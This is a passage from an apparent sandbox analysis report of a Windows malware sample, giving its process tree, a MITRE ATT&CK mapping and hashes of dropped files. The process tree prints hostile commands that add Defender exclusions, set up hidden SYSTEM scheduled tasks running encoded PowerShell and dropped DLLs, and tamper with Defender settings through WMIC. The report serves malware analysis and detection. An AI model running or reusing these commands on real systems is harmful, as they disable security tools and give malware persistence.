                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:2552
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QomKEDtaZauBMonw /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:3920
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /CREATE /TN "gLAIdHpKA" /SC once /ST 17:58:55 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:2268
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /run /I /tn "gLAIdHpKA"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:3992
                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                      schtasks /DELETE /F /TN "gLAIdHpKA"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:1376
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /CREATE /TN "MVZgvzYKAFemhQpXL" /SC once /ST 14:17:35 /RU "SYSTEM" /TR "\"C:\Windows\Temp\QomKEDtaZauBMonw\fdsKOKogfpICasy\KRtjXHn.exe\" XP /qgsite_idNLu 525403 /S" /V1 /F
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                        PID:2008
                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:640
                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                          schtasks /run /I /tn "MVZgvzYKAFemhQpXL"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:4560
                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:4972
                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:1036
                                                                                                                                                                              • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:2740
                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2388
                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:3676
                                                                                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:4876
                                                                                                                                                                                    • C:\Windows\Temp\QomKEDtaZauBMonw\fdsKOKogfpICasy\KRtjXHn.exe
                                                                                                                                                                                      C:\Windows\Temp\QomKEDtaZauBMonw\fdsKOKogfpICasy\KRtjXHn.exe XP /qgsite_idNLu 525403 /S
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      • Drops Chrome extension
                                                                                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                      PID:4808
                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /DELETE /F /TN "bXvtwaJkKQEzfXjvnG"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:1076
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:1664
                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:1880
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:4768
                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                      PID:1760
                                                                                                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:2492
                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\BcCQMXwjU\YmSHPF.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "fjXiyaIJtNnEyln" /V1 /F
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                  PID:2944
                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                  schtasks /CREATE /TN "fjXiyaIJtNnEyln2" /F /xml "C:\Program Files (x86)\BcCQMXwjU\ofYmWRY.xml" /RU "SYSTEM"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                  PID:1888
                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:2740
                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                    schtasks /END /TN "fjXiyaIJtNnEyln"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:4460
                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                      schtasks /DELETE /F /TN "fjXiyaIJtNnEyln"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:1600
                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                        schtasks /CREATE /TN "IqaVnllQPEviET" /F /xml "C:\Program Files (x86)\SwHdQyPSnQdU2\IXDlPKV.xml" /RU "SYSTEM"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                        PID:2820
                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:1076
                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                          schtasks /CREATE /TN "JGPIZArYwJUkk2" /F /xml "C:\ProgramData\UakFvFPMbXVAWgVB\gEhelVJ.xml" /RU "SYSTEM"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                          PID:1604
                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4340
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /CREATE /TN "ZsHeBHvvmLjUCPViS2" /F /xml "C:\Program Files (x86)\xRoHTrfYcfGreqCFIqR\fhVzBeL.xml" /RU "SYSTEM"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                            PID:3924
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /CREATE /TN "MjkxzwBObpHYXaFcLDg2" /F /xml "C:\Program Files (x86)\mfOEuGwqkLFbC\Pnhdyer.xml" /RU "SYSTEM"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                            PID:4468
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /CREATE /TN "xxPoWeVRQBzFwCLPV" /SC once /ST 15:32:57 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\QomKEDtaZauBMonw\AFiLmQlV\gswNwBJ.dll\",#1 /DUsite_idjSA 525403" /V1 /F
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                            PID:4380
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /run /I /tn "xxPoWeVRQBzFwCLPV"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:3236
                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                              schtasks /DELETE /F /TN "MVZgvzYKAFemhQpXL"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:3332
                                                                                                                                                                                                            • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                              C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\QomKEDtaZauBMonw\AFiLmQlV\gswNwBJ.dll",#1 /DUsite_idjSA 525403
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:4444
                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\QomKEDtaZauBMonw\AFiLmQlV\gswNwBJ.dll",#1 /DUsite_idjSA 525403
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Blocklisted process makes network request
                                                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                  PID:4868
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /DELETE /F /TN "xxPoWeVRQBzFwCLPV"
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:4144
                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                          PID:3464
                                                                                                                                                                                                                  • C:\Windows\windefender.exe
                                                                                                                                                                                                                    C:\Windows\windefender.exe
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                    PID:396

                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                  MITRE ATT&CK Matrix ATT&CK v13

                                                                                                                                                                                                                  Initial Access

                                                                                                                                                                                                                  Execution

                                                                                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1053

                                                                                                                                                                                                                  Persistence

                                                                                                                                                                                                                  Create or Modify System Process

                                                                                                                                                                                                                  4
                                                                                                                                                                                                                  T1543

                                                                                                                                                                                                                  Windows Service

                                                                                                                                                                                                                  4
                                                                                                                                                                                                                  T1543.003

                                                                                                                                                                                                                  Boot or Logon Autostart Execution

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1547

                                                                                                                                                                                                                  Registry Run Keys / Startup Folder

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1547.001

                                                                                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1053

                                                                                                                                                                                                                  Privilege Escalation

                                                                                                                                                                                                                  Create or Modify System Process

                                                                                                                                                                                                                  4
                                                                                                                                                                                                                  T1543

                                                                                                                                                                                                                  Windows Service

                                                                                                                                                                                                                  4
                                                                                                                                                                                                                  T1543.003

                                                                                                                                                                                                                  Boot or Logon Autostart Execution

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1547

                                                                                                                                                                                                                  Registry Run Keys / Startup Folder

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1547.001

                                                                                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1053

                                                                                                                                                                                                                  Defense Evasion

                                                                                                                                                                                                                  Modify Registry

                                                                                                                                                                                                                  3
                                                                                                                                                                                                                  T1112

                                                                                                                                                                                                                  Virtualization/Sandbox Evasion

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1497

                                                                                                                                                                                                                  Impair Defenses

                                                                                                                                                                                                                  2
                                                                                                                                                                                                                  T1562

                                                                                                                                                                                                                  Disable or Modify System Firewall

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1562.004

                                                                                                                                                                                                                  Subvert Trust Controls

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1553

                                                                                                                                                                                                                  Install Root Certificate

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1553.004

                                                                                                                                                                                                                  Credential Access

                                                                                                                                                                                                                  Unsecured Credentials

                                                                                                                                                                                                                  3
                                                                                                                                                                                                                  T1552

                                                                                                                                                                                                                  Credentials In Files

                                                                                                                                                                                                                  3
                                                                                                                                                                                                                  T1552.001

                                                                                                                                                                                                                  Discovery

                                                                                                                                                                                                                  Query Registry

                                                                                                                                                                                                                  7
                                                                                                                                                                                                                  T1012

                                                                                                                                                                                                                  Virtualization/Sandbox Evasion

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1497

                                                                                                                                                                                                                  System Information Discovery

                                                                                                                                                                                                                  7
                                                                                                                                                                                                                  T1082

                                                                                                                                                                                                                  Lateral Movement

                                                                                                                                                                                                                  Collection

                                                                                                                                                                                                                  Data from Local System

                                                                                                                                                                                                                  3
                                                                                                                                                                                                                  T1005

                                                                                                                                                                                                                  Exfiltration

                                                                                                                                                                                                                  Command and Control

                                                                                                                                                                                                                  Web Service

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1102

                                                                                                                                                                                                                  Impact

                                                                                                                                                                                                                  Service Stop

                                                                                                                                                                                                                  1
                                                                                                                                                                                                                  T1489

                                                                                                                                                                                                                  Resource Development

                                                                                                                                                                                                                  Reconnaissance

                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                  • C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    2.0MB

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    e561bb0d287626aae17b00e4e93f08b6

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    732af4825846372480fa47079e830a97c5ad86e8

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    95a36d1906ea9d995af77f247c8f16006f836857568246e75e4cdd2e97ffbfa1

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    3eb0ad320f4d94a2bdaee657d7262d2d491ba32db755a3d24d2f2543994ef2b2f178f4950d382ddc7bf0c07e5bc4ad7fa563d14e60f35f3f409f557f10fecb99

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\ProgramData\Are.docx
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    11KB

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    a33e5b189842c5867f46566bdbf7a095

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    e1c06359f6a76da90d19e8fd95e79c832edb3196

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\ProgramData\mozglue.dll
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    593KB

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    c8fd9be83bc728cc04beffafc2907fe9

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\ProgramData\nss3.dll
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    2.0MB

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    1cc453cdf74f31e4d913ff9c10acdde2

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    6e85eae544d6e965f15fa5c39700fa7202f3aafe

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    187B

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    2a1e12a4811892d95962998e184399d8

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    136B

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    150B

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    11KB

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    4ee8d18ab8ebbdfe3181962908e2e465

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    627bdedd908df0b9b6615a5a9f4c7ea81c58d826

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    6ee26125728e90747197e1cca638f901fb21a932283828481a4eaf3ed38c37a1

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    778c5dfb23f29f3c598fbae8dbfae37eb535a267a542caf78c1dd32009cbe792edc3f4ea33f54e205844aa29cfbade8b139fc98a7cf34aa8b755f3e661b0a591

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    1KB

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    28854213fdaa59751b2b4cfe772289cc

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    fa7058052780f4b856dc2d56b88163ed55deb6ab

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    7c65fe71d47e0de69a15b95d1ee4b433c07a1d6f00f37dd32aee3666bb84a915

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    1e2c928242bdef287b1e8afe8c37427cfd3b7a83c37d4e00e45bcbaa38c9b0bf96f869a062c9bc6bb58ecd36e687a69b21d5b07803e6615a9b632922c1c5ace4

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\abgdohlnibdejcajjfmngebmdanjldcc\1.2_0\_locales\es\messages.json
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    151B

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    11KB

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    6c6cbb873397876b9ea3e27a8e75ef1b

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    02dc052faa13ad0f8c1dc09163b0410e57f0a972

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    325da951d8244245938ea8f2a13229ac5b0356ad2ca58ce9707fcfc026adb57f

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    fb1b489946f29ebed73597ffb335d37c760d923c727352bb300b8b76895b7b36aa676a52a7a6153856e2ac4911e9dd20c34b8a22e49fdae6637591921b7f1474

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    11KB

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    83e3f31d5282191d29df8a041862adc4

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    05859a1429eeccde17586e3c2e7d9032fb8872e0

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    e12b7f00a4ba24a92e9762346224be681abd9aafde8e6d37b58aa18e041e293c

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    a758a7b3bec58ab563ea977e89b9418a03de0ec745090ab696f53675b8be7a78acff0200c332e7fcddde0a5ff214860dcdb9d00adfa141474f33b789d4591732

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS94F8.tmp\Install.exe
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    fe7aab543ab381ec66ae64eba66dd03b

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    93e737338bd65c581795fdac1b0837dcded65d4c

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    7d4134b6ca60ee8f9a9a146303583d4cc0aa5b99145ed56589cb85820e264231

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    4345ece37104fa53a32281f1a778dbc310ec45afb760ef2e109191a0ffdd82147254d1a6cc6102e61083362dd8fb9f0a88423385c023dee08841eaaf22321783

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    742KB

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    544cd51a596619b78e9b54b70088307d

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    4769ddd2dbc1dc44b758964ed0bd231b85880b65

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    f56d8b81022bb132d40aa78596da39b5c212d13b84b5c7d2c576bbf403924f1d22e750de3b09d1be30aea359f1b72c5043b19685fc9bf06d8040bfee16b17719

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\TmpBAFE.tmp
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    2KB

                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                    1420d30f964eac2c85b2ccfe968eebce

                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                    bdf9a6876578a3e38079c4f8cf5d6c79687ad750

                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                    f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9

                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                    6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

                                                                                                                                                                                                                    Download Submit
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_55msdh5t.ihb.ps1
                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                    60B

                                                                                                                                                                                                                    MD5

